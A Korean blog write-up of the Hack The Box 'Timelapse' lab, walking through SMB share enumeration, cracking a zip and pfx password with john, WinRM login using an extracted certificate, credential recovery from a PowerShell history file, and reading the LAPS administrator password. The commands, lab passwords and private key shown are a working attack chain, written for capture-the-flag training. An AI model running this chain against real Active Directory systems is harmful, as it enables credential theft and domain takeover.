Post

[HTB] Timelapse Write Up

Posted
By zzer0
8 min read
[HTB] Timelapse Write Up

포트 스캔

1

sudo nmap -Pn -p- --min-rate 1000 -T4 -oN scans/initial_Pn 10.129.227.113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49695/tcp open  unknown

초기 침투

SMB 익명 접속 테스트

1
2
3
4
5

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ nxc smb 10.129.227.113 -u "" -p "" --shares
SMB         10.129.227.113  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.227.113  445    DC01             [+] timelapse.htb\: 
SMB         10.129.227.113  445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

/etc/hosts 파일 자동 수정

1
2

nxc smb 10.129.227.113 --generate-hosts-file hosts
sudo sh -c 'cat hosts >> /etc/hosts'

SMB 공유 폴더 열거

1
2
3
4
5
6
7
8
9
10
11

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ smbclient -L \\\\10.129.227.113 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Shares          Disk      
        SYSVOL          Disk      Logon server share
  • Shares 폴더 접속
1
2
3
4
5
6
7
8
9
10

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ smbclient -N \\\\10.129.227.113\\Shares
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

                6367231 blocks of size 4096. 1277297 blocks available

1

  • Dev\winrm_backup.zip 다운로드
1
2

smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (3.1 KiloBytes/sec) (average 3.1 KiloBytes/sec)
  • HelpDesk\ 폴더 내 파일 모두 다운로드
1
2
3
4
5
6
7
8
9

smb: \HelpDesk\> mget *
Get file LAPS.x64.msi? y
getting file \HelpDesk\LAPS.x64.msi of size 1118208 as LAPS.x64.msi (424.1 KiloBytes/sec) (average 323.4 KiloBytes/sec)
Get file LAPS_Datasheet.docx? y
getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as LAPS_Datasheet.docx (122.7 KiloBytes/sec) (average 283.8 KiloBytes/sec)
Get file LAPS_OperationsGuide.docx? y
getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as LAPS_OperationsGuide.docx (93.9 KiloBytes/sec) (average 167.4 KiloBytes/sec)
Get file LAPS_TechnicalSpecification.docx? y
getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as LAPS_TechnicalSpecification.docx (50.2 KiloBytes/sec) (average 153.9 KiloBytes/sec)

winrm_backup.zip 파일 압축 해제

  • 압축 해제 시 비밀번호 필요
1
2
3
4
5

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ unzip winrm_backup.zip -d ./winrm_backup
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
   skipping: legacyy_dev_auth.pfx    incorrect password
  • zip2john을 이용해서 패스워드 해시 추출
1
2
3
4
5
6
7

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ zip2john winrm_backup.zip > winrm_backup.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
                                                                                      
┌──(kali㉿kali)-[~/htb/timelapse]
└─$ cat winrm_backup.john 
winrm_backup.zip/legacyy_dev_auth.pfx:$pkzip$1*1*2*0*965*9fb*12ec5683*0*4e*8*965*72aa*1a84b40ec6b5c20abd7d695aa16d8c88a3cec7243acf179b842f2d96414d306fd67f0bb6abd97366b7aaea736a0cda557a1d82727976b2243d1d9a4032d625b7e40325220b35bae73a3d11f4e82a408cb00986825f936ce33ac06419899194de4b54c9258cd7a4a7f03ab181b611a63bc9c26305fa1cbe6855e8f9e80c058a723c396d400b707c558460db8ed6247c7a727d24cd0c7e93fbcbe8a476f4c0e57db890a78a5f61d1ec1c9a7b28b98a81ba94a7b3a600498745859445ddaef51a982ae22577a385700fdf73c99993695b8ffce0ef90633e3d18bf17b357df58ea7f3d79f22a790606b69aed500db976ae87081c68d60aca373ad25ddc69bc27ddd3986f4d9ce77c4e49777c67a0740d2b4bbca38b4c2b3ee329ac7cf30e5af07f13d860a072784e753a999f3dd0d2c3bbb2269eeffe2f0b741441538e429cb9e8beee2999557332ac447393db6ed35856bd7fcae85329b99b21449f3bb63c9fb74870dbf76e7dc76859392bf913da2864555b6ed2a384a2ae8a6c462e5115adbf385f073cfc64ec7a4646386cf72b5529bbf48af050640f26c26e337add96b61aee56d3d92de09f25c40efe56d4c2b853ce29de32c05634afc4dc9ca8df991b73e10db5bb9cd3fc807bfe05bb789a4b4a525001d253ca6f67abc928ebe7777a0b2d06d7fd2d61123c7e6b8050fe51994f116bc9e694cbdd6e81bfe71672582e7329cb78e20793b970407ea0bb8787c93875be25432987b2fb385c08e1970e5f8868db466476ef41b157eaf4d9a69508d57166213d81f1f981cffd5a6d2053a65c380ad98f10eb2b94104cd41104c59e6f4d782868f38ae64c7b0c29fb0e05d18429c26dc3f5a9c4ec9328b0aff3a41679f9f12e9b4e2cc9dfca5a67c021a093549863923422ada4ccf082924ef1ec4ec38847bf2bffb893f14abecdad3c83a31e276a23542ff08cdc7d7ec6576dbda1edf1326174b13c7f078d6ea4dc90a743cdf6aa076a17250ac2fff6de8113ffc58dd4ccda187b6c7890264f0d0ff113aa3fa15b8515d0857f8110b99fa2915f0476a08b107965fa5e74c05018db0d9a8ecc893780027b58225e091b50aa07684f1990508275d87fd7a8f28193ca41d9ce649e3de4885913b15f318e7459c443849a248463bbfe949def6d9ca95e6ace6613eabf758c6399639f1f7779fc9aeee32d518a0db9a046340e002445b8ae9a5cb630a194a490d326247f3582680814dfed79496475e4a06f11d4433b13ed3c3803e3c1da5335cd7919453ce0a6b62116c0ffa0fc7c4bba77bbba080092541697c3200edc7e9aa001a01fc0063b27159384538ecb7cddab32a6feca01853ac712a0e21a436d647d1c94bd0a5b40510cb080d4ce79a2e49fc82fd961106b7b73d2e24603711300ddc711b8cc284cc284777d230ebcc140ab0296676f465da1afeb40fe2f4f9636238c09a9716a1f3071fd2653b9956c9180270b1582074175570d5784af0d22460e6d28153f146d01ff0f2388894b0541a9df950e1515a2397360e09c6dfd92feaf068f560be034bcf26cabc76be09a94254bbbf88f4ee85241c12be370ca32cc5391e33f05a2e7a75afe7876a893fdc9fded2ea1ac701001cf0d34eaba84dd4815a28dc4cfe6c3abc35a057f6b95dd4fdb07a99edc0a020273f5eb9b2d2e6686deda3c1c9c5deb85b9192d68a841cd9a7aa448ddd66e0a839d81f0106a8a1e38f6da99a3b973a0598aca2ba36cf9ef0b4a9da6ae327069a88677b7e5303a08cea1a37f2623d98233672e425693e16ade5b16d49669e2002aec50aedeccc21af37901d278bd3a5b7618b9f0332a4848a29e9e3eccef234cf2392d46c33be6c3c75e57f6c19998febadf2c6a3e22a6e4276e6863f8d16ecec1f4eca9495a031e5f7426bf90a9831b9901588e72330fc42fe3ed7a09d7404a14727b7b876786b35873cf24deb921662c458d05b8c8872d88e8889407024e46d06d8f3cf9a1d144deb91acf2273c13600bc2bbc9c1405269c3eff0042d0533c95f45c28ed2b8854fbbda941b1957d27122d8a6afe09261f206ccde7e7c4f69c8d46d4e101849c02c9eecc65e365ebf48e3ce836385dcfd824e085b0104b1210b5acfedb3df857cdc2ad9976660dfb20b228ce127c4cdc5bb9d89f65822ebd728b2d1dbce2872e9fa113c19ed251e7c103022b5029b63e35bcd0ef75bf13f1bb56499f1505b6eef27aa6fd079f4d4156c566a76d8b6bcdd518cdd6ea3de2048f9b059e338946fa2549ab27646ba9bfe08580df4582be056dcc68232efef533ea90c9c8d613e22fd4f2d75c6a89e4643ff3717a21dc0624a1c844549fc9700d137865b018eef82803ec1b3f19f9e3f25c276062effb0829c00825677d21530b14a8ee27c6507ff31549430f66488f4ef996cf784f37bbf103e49f17bef1ae41e02dce2a3715127942fcaec5da410f04174664b7eb0788e83920ad9afa223a5a4791bb28b3d5e75933edfd7535aaeb984f8dc1c5e3880411c733f775c93b620f14662c1594c909eceb7c8c25807b9e49771847a567d6fd63c607c6ebf71714a869cd4eb7956995cb7011c7973c705ee13aeabc319ff6f71569c9c46821cda0db6555dde9939f27f68d1b6dfcfb53b0ed1c9f35c7d29e550437ab80da87384614f9508dbb49f8be5a85c1bfebe13067aff3fd745009db52a4de15761f67ad2a3bf89440d134ed7c6c96c41340c6947785b75698e6b61a0d2da6ffe4290a15a932d42d5e2c4928a92121b0cb3c11a7bbb5fa5a70e31f7bd24e892466e767c4193f5902eb4fc22d1b9c9e7dc8f27886ca3a37dbd842a9fb445adaa738cddbc4e0b62c14b49dc807843db29df781a65491ae52dc16b5d5dc2193f965a595cd72c5b6f1e63e1b4b521e9d891b481fef699fb2ccb853df7b8a902910b229db859d293628baf30891c255fa46d337336fb0b4a47986939372f13f4315c38af852e9a8893fe275be0e5b095c1219edc026c71236ff3a314084383ad0228f26b7935f454c8d3d59306a2c7eb7f9220a67e8c1a2f508760f3ccdb52399e81bcb7e5347c1083ecbdb1c009338e017721b4324a40329a5938ab4ee99d087a2edb62d687fcebeda2211760b2287ff574ebc66e076132cab4cb15e1e551acf11f3ed87970aee89159421facc8eb82bca90a36c43f75df5bececfde3128e2834c5ecd067e61c9ba954cc54fc291a1458bdfe9f49fba35eb944625a528fb9d474aaa761314740997e4d2ed3b1cb8e86744cfb6c9d5e3d758684ff3d9fdc1ba45b39141625d4e6ba38cd3300507555935db1193b765d226c463481388a73d5361e57b7b40c7d3df38fc5da2c1a255ff8c9e344761a397d2c2d59d722723d27140c6830563ee783156404a17e2f7b7e506452f76*$/pkzip$:legacyy_dev_auth.pfx:winrm_backup.zip::winrm_backup.zip

해시 크랙

1
2
3
4
5
6
7
8
9
10

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ john winrm.backup.john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2026-03-21 04:30) 4.166g/s 14472Kp/s 14472Kc/s 14472KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

2

  • 패스워드 supremelegacy 추출 성공

winrm_backup.zip 파일 압축 해제 재시도

1
2
3
4
5

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ unzip winrm_backup.zip -d ./winrm_backup
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: ./winrm_backup/legacyy_dev_auth.pfx
  • pfx 파일도 패스워드가 필요함
  • pfx 파일에서 해시 추출
1

pfx2john legacyy_dev_auth.pfx  > legacyy_dev_auth.john

해시 크랙

1
2
3
4
5
6
7
8
9
10
11
12
13
14

┌──(kali㉿kali)-[~/htb/timelapse/winrm_backup]
└─$ john legacyy_dev_auth.john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 7.21% (ETA: 04:35:26) 0g/s 106678p/s 106678c/s 106678C/s wanday..wakersup0976
0g 0:00:00:24 15.50% (ETA: 04:35:28) 0g/s 101930p/s 101930c/s 101930C/s 01522..013159615
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:00:32 DONE (2026-03-21 04:33) 0.03099g/s 100178p/s 100178c/s 100178C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

3

  • 패스워드 thuglegacy 추출 성공

legacyy_dev_auth.pfx 파일 내용 확인

1

openssl pkcs12 -in legacyy_dev_auth.pfx -info -nodes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2000
Bag Attributes
    Microsoft Local Key set: <No Values>
    localKeyID: 01 00 00 00 
    friendlyName: te-4a534157-c8f1-4724-8db6-ed12f25c2a9b
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key Attributes
    X509v3 Key Usage: 90 
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClVgejYhZHHuLz
TSOtYXHOi56zSocr9om854YDu/6qHBa4Nf8xFP6INNBNlYWvAxCvKM8aQsHpv3to
pwpQ+YbRZDu1NxyhvfNNTRXjdFQV9nIiKkowOt6gG2F+9O5gVF4PAnHPm+YYPwsb
oRkYV8QOpzIi6NMZgDCJrgISWZmUHqThybFW/7POme1gs6tiN1XFoPu1zNOYaIL3
dtZaazXcLw6IpTJRPJAWGttqyFommYrJqCzCSaWu9jG0p1hKK7mk6wvBSR8QfHW2
qX9+NbLKegCt+/jAa6u2V9lu+K3MC2NaSzOoIi5HLMjnrujRoCx3v6ZXL0KPCFzD
MEqLFJHxAgMBAAECggEAc1JeYYe5IkJY6nuTtwuQ5hBc0ZHaVr/PswOKZnBqYRzW
fAatyP5ry3WLFZKFfF0W9hXw3tBRkUkOOyDIAVMKxmKzguK+BdMIMZLjAZPSUr9j
PJFizeFCB0sR5gvReT9fm/iIidaj16WhidQEPQZ6qf3U6qSbGd5f/KhyqXn1tWnL
GNdwA0ZBYBRaURBOqEIFmpHbuWZCdis20CvzsLB+Q8LClVz4UkmPX1RTFnHTxJW0
Aos+JHMBRuLw57878BCdjL6DYYhdR4kiLlxLVbyXrP+4w8dOurRgxdYQ6iyL4UmU
Ifvrqu8aUdTykJOVv6wWaw5xxH8A31nl/hWt50vEQQKBgQDYcwQvXaezwxnzu+zJ
7BtdnN6DJVthEQ+9jquVUbZWlAI/g2MKtkKkkD9rWZAK6u3LwGmDDCUrcHQBD0h7
tykwN9JTJhuXkkiS1eS3BiAumMrnKFM+wPodXi1+4wJk3YTWKPKLXo71KbLo+5NJ
2LUmvvPDyITQjsoZoGxLDZvLFwKBgQDDjA7YHQ+S3wYk+11q9M5iRR9bBXSbUZja
8LVecW5FDH4iTqWg7xq0uYnLZ01mIswiil53+5Rch5opDzFSaHeS2XNPf/Y//TnV
1+gIb3AICcTAb4bAngau5zm6VSNpYXUjThvrLv3poXezFtCWLEBKrWOxWRP4JegI
ZnD1BfmQNwKBgEJYPtgl5Nl829+Roqrh7CFti+a29KN0D1cS/BTwzusKwwWkyB7o
btTyQf4tnbE7AViKycyZVGtUNLp+bME/Cyj0c0t5SsvS0tvvJAPVpNejjc381kdN
71xBGcDi5ED2hVj/hBikCz2qYmR3eFYSTrRpo15HgC5NFjV0rrzyluZRAoGAL7s3
QF9Plt0jhdFpixr4aZpPvgsF3Ie9VOveiZAMh4Q2Ia+q1C6pCSYk0WaEyQKDa4b0
6jqZi0B6S71un5vqXAkCEYy9kf8AqAcMl0qEQSIJSaOvc8LfBMBiIe54N1fXnOeK
/ww4ZFfKfQd7oLxqcRADvp1st2yhR7OhrN1pfl8CgYEAsJNjb8LdoSZKJZc0/F/r
c2gFFK+MMnFncM752xpEtbUrtEULAKkhVMh6mAywIUWaYvpmbHDMPDIGqV7at2+X
TTu+fiiJkAr+eTa/Sg3qLEOYgU0cSgWuZI0im3abbDtGlRt2Wga0/Igw9Ewzupc8
A5ZZvI+GsHhm0Oab7PEWlRY=
-----END PRIVATE KEY-----
PKCS7 Data
Certificate bag
Bag Attributes
    localKeyID: 01 00 00 00 
subject=CN=Legacyy
issuer=CN=Legacyy
-----BEGIN CERTIFICATE-----
MIIDJjCCAg6gAwIBAgIQHZmJKYrPEbtBk6HP9E4S3zANBgkqhkiG9w0BAQsFADAS
MRAwDgYDVQQDDAdMZWdhY3l5MB4XDTIxMTAyNTE0MDU1MloXDTMxMTAyNTE0MTU1
MlowEjEQMA4GA1UEAwwHTGVnYWN5eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKVWB6NiFkce4vNNI61hcc6LnrNKhyv2ibznhgO7/qocFrg1/zEU/og0
0E2Vha8DEK8ozxpCwem/e2inClD5htFkO7U3HKG9801NFeN0VBX2ciIqSjA63qAb
YX707mBUXg8Ccc+b5hg/CxuhGRhXxA6nMiLo0xmAMImuAhJZmZQepOHJsVb/s86Z
7WCzq2I3VcWg+7XM05hogvd21lprNdwvDoilMlE8kBYa22rIWiaZismoLMJJpa72
MbSnWEoruaTrC8FJHxB8dbapf341ssp6AK37+MBrq7ZX2W74rcwLY1pLM6giLkcs
yOeu6NGgLHe/plcvQo8IXMMwSosUkfECAwEAAaN4MHYwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMCMDAGA1UdEQQpMCegJQYKKwYBBAGCNxQCA6AX
DBVsZWdhY3l5QHRpbWVsYXBzZS5odGIwHQYDVR0OBBYEFMzZDuSvIJ6wdSv9gZYe
rC2xJVgZMA0GCSqGSIb3DQEBCwUAA4IBAQBfjvt2v94+/pb92nLIS4rna7CIKrqa
m966H8kF6t7pHZPlEDZMr17u50kvTN1D4PtlCud9SaPsokSbKNoFgX1KNX5m72F0
3KCLImh1z4ltxsc6JgOgncCqdFfX3t0Ey3R7KGx6reLtvU4FZ+nhvlXTeJ/PAXc/
fwa2rfiPsfV51WTOYEzcgpngdHJtBqmuNw3tnEKmgMqp65KYzpKTvvM1JjhI5txG
hqbdWbn2lS4wjGy3YGRZw6oM667GF13Vq2X3WHZK5NaP+5Kawd/J+Ms6riY0PDbh
nx143vIioHYMiGCnKsHdWiMrG2UWLOoeUrlUmpr069kY/nn7+zSEa2pA
-----END CERTIFICATE-----
  • 개인키 추출
1

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key -nodes
  • 인증서 추출
1

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out certificate.crt

WinRM 접속

  • -c 옵션 : 인증서
  • -k 옵션 : 개인키
  • -S 옵션 : 기본 포트 5986 사용 시, SSL/HTTPS 접속 옵션
1

evil-winrm -i 10.129.227.113 -c certificate.crt -k private.key -S

사용자 플래그 획득

1
2

*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
...

권한 상승

WinPEAS 실행

1

.\winPEASx64.exe

1
2
3
4
5
6
7
8
9

ÉÍÍÍÍÍÍÍÍÍ͹ PowerShell Settings (T1059.001)
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.17763.1
    PowerShell Core Version: 
    Transcription Settings: 
    Module Logging Settings: 
    Scriptblock Logging Settings: 
    PS history file: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    PS history size: 434B
  • powershell history file 확인
1
2
3
4
5
6
7
8
9
10
11

*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

4

  • svc_deploy / E3R$Q62^12p7PLlC%KWaxuaV 계정 정보 발견

svc_deploy 계정으로 WinRM 접속

1

evil-winrm -i 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

현재 계정 정보 확인

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

*Evil-WinRM* PS C:\Users\svc_deploy\Desktop> whoami /all

USER INFORMATION
----------------

User Name            SID
==================== ============================================
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers                      Group            S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
  • svc_deploy 계정이 LAPS_Readers 권한을 가짐을 확인
  • LAPS_Readers는 Microsoft LAPS(Local Administrator Password Solution) 환경에서 Active Directory(AD)에 저장된 컴퓨터의 로컬 관리자 암호를 읽을 수 있는 권한을 가진 사용자 또는 그룹을 정의하는 역할이라고 함..

LAPS로 로컬 관리자 암호 추출

1
2
3
4
5
6

┌──(kali㉿kali)-[~/htb/timelapse]
└─$ nxc ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
LDAP        10.129.227.113  389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.227.113  389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS        10.129.227.113  389    DC01             [*] Getting LAPS Passwords
LAPS        10.129.227.113  389    DC01             Computer:DC01$ User:                Password:+49+.,dU3P@KOWxM4F5,#2,W

5

  • 관리자 패스워드는 +49+.,dU3P@KOWxM4F5,#2,W

관리자로 WinRM 접속

1

evil-winrm -i 10.129.227.113 -u administrator -p '+49+.,dU3P@KOWxM4F5,#2,W' -S
  • 관리자 플래그 획득
1
2

*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt
...
htb
This post is licensed under CC BY 4.0 by the author.